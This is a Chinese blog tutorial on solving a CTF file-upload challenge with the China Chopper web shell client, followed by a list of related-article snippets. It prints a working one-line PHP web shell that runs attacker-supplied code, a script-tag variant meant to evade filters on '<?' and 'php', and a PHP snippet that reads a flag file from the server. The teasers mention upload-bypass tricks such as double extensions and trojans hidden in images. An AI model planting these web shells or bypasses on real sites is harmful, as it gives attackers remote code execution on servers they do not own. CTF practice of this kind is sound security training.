中国菜刀使用教程--ctf 文件上传

首先把包含一句话的文件上传，php内容文件如下：

<?php
eval($_POST['a']);
?>

如果会过滤 <? 和 php 关键字，可以使用长标签

<script language="pHp">@eval($_POST['sb'])</script>

打开中国菜刀主页面,右键点击添加，配置如下（密码即上面的sb）

点击右键文件管理如下：

即可获得flag：

还有一种直接在上传文件的php代码中获取flag文件的内容：

<script language="PHP">
$fh=fopen("../flag.".strtolower("PHP"),'r');    #strtolower() 函数把字符串转换为小写
echo fread($fh,filesize("../flag.".strtolower("PHP"))); #点号.是连接符，开始还用+号来连接，搞错了。
fclose($fh);
</script>

点击右键查看源代码：

--参考i春秋https://www.ichunqiu.com/battalion

中国菜刀使用教程--ctf 文件上传相关推荐

上传漏洞（一句话木马、中国菜刀使用、DVWA文件上传漏洞利用）
1.常见漏洞分类 2.常见验证手段可抓包后修改扩展名为图片格式,再上传可绕过验证.如: 可以修改php文件后缀为其他,再上传.如test.php.xxx 可对图片文件添加一句话木马,再修改为.ph ...
超详细的实现上传文件功能教程，文件上传实现。
重要声明:本文章仅仅代表了作者个人对此观点的理解和表述.读者请查阅时持自己的意见进行讨论. 本文更新不及时,请到原文地址浏览:<超详细的实现上传文件功能教程,文件上传实现.>. 一.文件上 ...
ctf文件上传基本思路+例题
目录简介一句话木马蚁剑例题总结思路附言简介文件上传本质上就是将文件传输到服务器时没有做好检测和过滤,导致可上传恶意程序到服务器,从而获得后台权限来干点坏事.一般这个恶意脚本文件称为we ...
i春秋-ctf 文件上传
文章目录前言一.题目二.解题步骤 1.我的错误思路 2.正确解题姿势总结前言 CTF小白,这道题思考了很久,i春秋上现在也没write up,卡了1天了,后面在buuctf找到了题解答.通过 ...
bottle 文件服务器,python bottle 框架基础教程：文件上传 | linux系统运维
文件上传,需要注意的是前端html的form表单中,要添加 enctype="multipart/form-data"属性,否则无法上传文件.在后端,用request.files方 ...
struts2教程--实现文件上传下载
Struts2文件上传下载一.Struts2文件上传提供 FileUpload 拦截器,用于解析 multipart/form-data 编码格式请求,解析上传文件的内容 fileUpload拦截 ...
spring boot基础教程之文件上传下载
一文件上传文件上传主要分以下几个步骤: (1)新建maven java project: (2)在pom.xml加入相应依赖: (3)新建一个文件上传表单页面; (4)编写controller; ( ...
菜鸟教程php 文件上传,php入门学习知识点三 PHP上传
if(is_uploaded_file($_FILES["Imgs"]["tmp_name"])){ $phpupfile=$_FILES["Imgs ...
Flask 的完全使用教程（文件上传下载，cookie，session，template使用）
Flash是python下的一个轻量级web服务框架,通过Flash可以快速的搭建api服务器和各位网站,在深度学习中Flash用的最多的就是模型的部署.配合上一些c++ dll库的调用,比如这个库( ...

中国菜刀使用教程--ctf 文件上传

中国菜刀使用教程--ctf 文件上传相关推荐

最新文章

热门文章